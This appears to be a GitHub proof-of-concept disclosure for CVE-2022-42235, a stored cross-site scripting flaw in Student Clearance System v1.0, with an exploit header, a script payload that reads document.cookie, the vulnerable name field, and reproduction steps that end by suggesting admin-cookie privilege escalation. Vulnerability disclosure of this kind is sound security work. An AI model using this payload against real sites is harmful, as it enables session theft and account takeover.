Stored-XSS / poc

draco1725 Update poc History

1 contributor

31 lines (23 sloc) | 1.02 KB ···

```
# Exploit Title: Student Clearance System - Stored XSS
# Exploit Author: Pratik Shetty
# Vendor Name: beedyboy
# Vendor Homepage: https://www.sourcecodester.com/php/13341/student-clearance-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13341&title=Student+Clearance+Sy
# Version: v1.0
# Tested on: Parrot GNU/Linux 4.10, Apache
# CVE: CVE-2022-42235


Description:-
A Stored XSS issue in Student Clearance System v.1.0 allows to inject Arbitrary JavaScript in Stud


`
Payload used:-
<script>confirm (document.cookie)</script>

`
Parameter":-
Full Name: <script>confirm (document.cookie)</script>


`
Steps to reproduce:-

1. Go to http://victim.com/clearance/admin/students.php
2. In that go to "Students" panel where you can add new student, and put your payload in "First Na
3. Now fill the other details and save it.
```

```
4. Goto admin panel click students, you can see our xss payload was triggered
5. We can use Admin cookie to escalate our privilege.
```